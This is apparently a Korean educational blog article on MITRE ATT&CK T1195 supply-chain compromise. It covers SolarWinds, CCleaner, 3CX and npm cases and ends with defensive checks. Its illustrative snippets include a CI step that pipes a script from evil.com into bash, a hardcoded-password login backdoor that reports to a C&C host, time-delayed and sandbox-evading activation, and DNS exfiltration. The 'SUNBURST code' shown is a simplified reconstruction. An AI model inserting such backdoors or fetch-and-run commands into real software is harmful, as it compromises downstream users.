T1195 Supply Chain Compromise: 11개 APT가 사용하는 공급망 침해 원리
SolarWinds 사건부터 3CX 이중 공급망 공격까지, T1195 Supply Chain Compromise의 완전한 기술 분석. 공격자가 신뢰받는 공급업체를 통해 대량 감염을 실행하는 3단계 원리와 실제 사례 상세 분석.
SolarWinds 사건부터 3CX 이중 공급망 공격까지, T1195 Supply Chain Compromise의 완전한 기술 분석. 공격자가 신뢰받는 공급업체를 통해 대량 감염을 실행하는 3단계 원리와 실제 사례 상세 분석.
2020년 SolarWinds 사건으로 다수의 조직이 동시에 침해당했다. 이는 단일 공급업체 하나의 타협이 얼마나 파괴적일 수 있는지 보여준 역사적 사건이었다.
전통적인 사이버 공격에서 공격자들은 각 조직의 방어막을 개별적으로 뚫어야 했다. 방화벽, EDR, 침입탐지시스템 등 다층 보안을 하나씩 우회하는 것은 시간과 비용이 많이 드는 작업이었다. 특히 대기업이나 정부기관처럼 보안이 강화된 환경일수록 직접 침투는 거의 불가능에 가까웠다.
하지만 공격자들은 더 효율적인 방법을 발견했다. 신뢰받는 소프트웨어나 하드웨어 공급업체를 먼저 침해한 후, 그들의 제품을 통해 수많은 고객사에 동시에 침투하는 것이다. 이는 마치 은행 금고를 직접 뚫는 대신, 금고 제조업체에서 백도어를 심어놓고 모든 은행에 배송하는 것과 같다.
공급망 공격의 핵심 이점:
Supply Chain Compromise(T1195)는 공격자가 소프트웨어나 하드웨어가 최종 사용자에게 전달되기 전에 공급망의 어느 단계에서든 제품을 조작하여 악성 기능을 삽입하는 공격 기법이다.
Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. — MITRE ATT&CK T1195
MITRE ATT&CK 프레임워크에서 T1195는 Initial Access 전술에 분류되며, 공격자가 초기 접근을 얻기 위해 신뢰받는 공급망을 악용하는 모든 기법을 포괄한다.
| 용어 | 설명 |
|---|---|
| Supply Chain Compromise | 정의: 공급망 전체 단계에서의 제품 조작 / 공격 시점: 개발~배포 전 과정 / 영향 범위: 다수 조직 동시 |
| Software Supply Chain Attack | 정의: 소프트웨어 개발/배포 과정 조작 / 공격 시점: 코딩~업데이트 단계 / 영향 범위: 소프트웨어 사용자 전체 |
| Hardware Supply Chain Attack | 정의: 하드웨어 제조/배송 과정 조작 / 공격 시점: 제조~배송 단계 / 영향 범위: 하드웨어 구매자 전체 |
| Dependency Confusion | 정의: 패키지 의존성 이름 혼동 악용 / 공격 시점: 패키지 설치 시점 / 영향 범위: 특정 개발 환경 |
| Typosquatting | 정의: 유명 패키지명과 유사한 악성 패키지 / 공격 시점: 패키지 검색/설치 시 / 영향 범위: 오타 입력 사용자 |
공격자는 먼저 타겟 공급업체의 시스템에 침입한다. 이 단계에서 주로 노리는 대상은:
1. 개발자 워크스테이션
2. CI/CD 파이프라인
# 침해된 GitHub Actions 예시
name: Build and Deploy
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v3
- name: 악성 단계 (공격자가 삽입)
run: |
curl -s https://evil.com/backdoor.sh | bash
# 정상 빌드 과정도 계속 진행하여 의심 회피
- name: Build application
run: npm run build
3. 소스코드 저장소
침해가 완료되면 공격자는 제품에 악성 기능을 삽입한다.
소프트웨어 조작 방법:
# 정상 함수에 백도어 코드 삽입 예시
def authenticate_user(username, password):
# 정상 인증 로직
if validate_credentials(username, password):
return True
# 공격자가 삽입한 백도어 (숨겨진 마스터 키)
if password == "SolarWinds123!@#" and username.startswith("admin"):
log_backdoor_access(username) # C&C 서버로 접근 로그 전송
return True
return False
def log_backdoor_access(user):
# 정상 로깅으로 위장하면서 C&C 서버와 통신
import requests
try:
requests.post("https://legitimate-looking-domain.com/api/log",
data={"user": user, "timestamp": time.now()},
timeout=2)
except:
pass # 네트워크 오류 시 조용히 실패하여 의심 회피
하드웨어 조작 방법:
조작된 제품은 정상적인 배포 채널을 통해 고객에게 전달된다.
배포 채널 악용:
백도어 활성화 조건:
# 시간 지연 활성화 (Time-bomb)
import datetime
activation_date = datetime.datetime(2024, 3, 15)
if datetime.datetime.now() > activation_date:
activate_backdoor()
# 특정 환경에서만 활성화 (환경 인식)
import socket
hostname = socket.gethostname()
if "gov.kr" in hostname or "mil.kr" in hostname:
activate_advanced_payload()
# 네트워크 연결 확인 후 활성화
def check_internet_connection():
try:
socket.create_connection(("8.8.8.8", 53), timeout=3)
return True
except:
return False
if check_internet_connection():
establish_c2_channel()
T1195.001: 소프트웨어 의존성 및 개발 도구 타협
현대 소프트웨어는 다수의 외부 라이브러리에 의존한다. 공격자는 이 의존성 체인에서 가장 약한 고리를 노린다.
의존성 체인 공격 예시:
// package.json - 정상적으로 보이는 의존성
{
"dependencies": {
"express": "^4.18.0",
"lodash": "^4.17.21",
"colors": "1.4.1" // 실제로는 악성 패키지
}
}
colors 패키지 침해 사례 (2022년):
T1195.002: 소프트웨어 공급망 타협
완성된 소프트웨어의 배포 과정에서 발생하는 침해다.
SolarWinds Orion 사례 분석:
// SUNBURST 백도어의 실제 코드 구조
public class OrionImprovementBusinessLayer
{
// 정상 기능으로 위장
public void UpdateOrionConfiguration()
{
// 12일 대기 후 활성화 (탐지 회피)
if (GetCurrentTime() > activationTime.AddDays(12))
{
// DNS 요청을 통한 은밀한 C&C 통신
string domain = GenerateDomainName();
ResolveDNS(domain + ".avsvmcloud.com");
}
}
}
T1195.003: 하드웨어 공급망 타협
하드웨어 레벨에서 발생하는 가장 탐지하기 어려운 형태의 공격이다.
SuperMicro 사례 (2018년):
공격자에게 공급망 공격은 "투자 대비 수익률" 이 가장 높은 공격 방법이다. 하나의 공급업체만 침해하면 다수의 고객사를 동시에 장악할 수 있기 때문이다.
1. 광범위한 고객 기반
2. 자동 업데이트 메커니즘
3. 높은 권한 레벨
1. SolarWinds SUNBURST (2020)
공격 타임라인:
기술적 분석:
// SUNBURST의 도메인 생성 알고리즘 (DGA)
private string CreateSecureString(string input)
{
// 조직 도메인명을 해시하여 고유 식별자 생성
byte[] hash = ComputeHash(input);
string subdomain = EncodeBytes(hash);
// 각 피해자별로 다른 C&C 도메인 사용
return subdomain + ".avsvmcloud.com";
}
피해 규모:
2. CCleaner 공급망 침해 (2017)
공격 과정:
// CCleaner 백도어의 데이터 수집 코드
void CollectSystemInfo()
{
// 시스템 정보 수집
GetComputerName();
GetUserName();
GetMACAddress();
GetInstalledSoftware();
// 특정 기업 대상 확인
if (IsTargetOrganization())
{
DownloadSecondStagePayload();
}
}
3. 3CX 이중 공급망 침해 (2023)
이 사례는 "공급망 공격의 공급망 공격" 이라는 전례 없는 복잡성을 보여줬다.
공격 체인:
1. 정상 기능 유지 공급망에서 침해된 제품은 정상 기능을 그대로 유지하면서 백도어만 추가한다.
def legitimate_function():
# 정상 기능 수행
result = perform_normal_operation()
# 백도어는 별도 스레드에서 은밀히 실행
threading.Thread(target=hidden_backdoor, daemon=True).start()
return result
def hidden_backdoor():
# 정상 네트워크 트래픽으로 위장
time.sleep(random.randint(3600, 7200)) # 1-2시간 대기
# DNS 쿼리로 C&C 통신 (HTTP보다 의심받지 않음)
dns_query = f"{encode_data()}.legitimate-domain.com"
socket.getaddrinfo(dns_query, None)
2. 환경 인식 (Environment Awareness) 백도어는 분석 환경을 탐지하고 회피한다.
def is_analysis_environment():
checks = [
check_vm_artifacts(), # 가상머신 탐지
check_debugger(), # 디버거 탐지
check_sandbox_indicators(), # 샌드박스 탐지
check_researcher_tools() # 보안 연구 도구 탐지
]
return any(checks)
if not is_analysis_environment():
activate_payload()
else:
# 분석 환경에서는 완전히 정상 동작
perform_only_legitimate_functions()
3. 시간 지연 활성화 즉시 활성화하지 않고 수 주에서 수 개월 후 동작한다.
import datetime
import hashlib
# 설치 날짜 기반 활성화 시점 계산
def calculate_activation_time():
install_date = get_installation_date()
# 설치 후 30-90일 랜덤 대기
delay_days = hash(get_system_id()) % 60 + 30
return install_date + datetime.timedelta(days=delay_days)
if datetime.datetime.now() > calculate_activation_time():
begin_malicious_activities()
1. 공급업체 보안 평가
2. 무결성 검증
# 파일 해시 검증 자동화
#!/bin/bash
EXPECTED_HASH="a1b2c3d4e5f6..."
ACTUAL_HASH=$(sha256sum software.exe | cut -d' ' -f1)
if [ "$EXPECTED_HASH" != "$ACTUAL_HASH" ]; then
echo "WARNING: File integrity compromised!"
exit 1
fi
3. 네트워크 모니터링
# 비정상 DNS 요청 탐지
def detect_suspicious_dns():
for query in dns_logs:
# DGA 도메인 패턴 탐지
if is_dga_domain(query.domain):
alert(f"Possible DGA domain: {query.domain}")
# 과도한 DNS 요청 탐지
if query.count > normal_threshold:
alert(f"Excessive DNS queries: {query.domain}")
T1195 Supply Chain Compromise는 현대 사이버 공격의 가장 강력하면서도 탐지하기 어려운 기법이다. 하나의 신뢰받는 공급업체를 침해하여 다수 조직을 동시에 장악할 수 있는 "레버리지 효과"가 핵심이다.
이 기법이 특히 위험한 이유는 기존 보안 모델의 근본적 가정인 "신뢰 관계" 를 악용한다는 점이다. 아무리 강력한 방어 시스템도 신뢰하는 공급업체로부터 오는 업데이트는 의심하지 않는다.
공급망 공격과 관련된 다른 공격 기법들도 함께 이해하면 전체적인 위협 환경을 파악할 수 있다.
앞으로 알아볼 주제들:
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.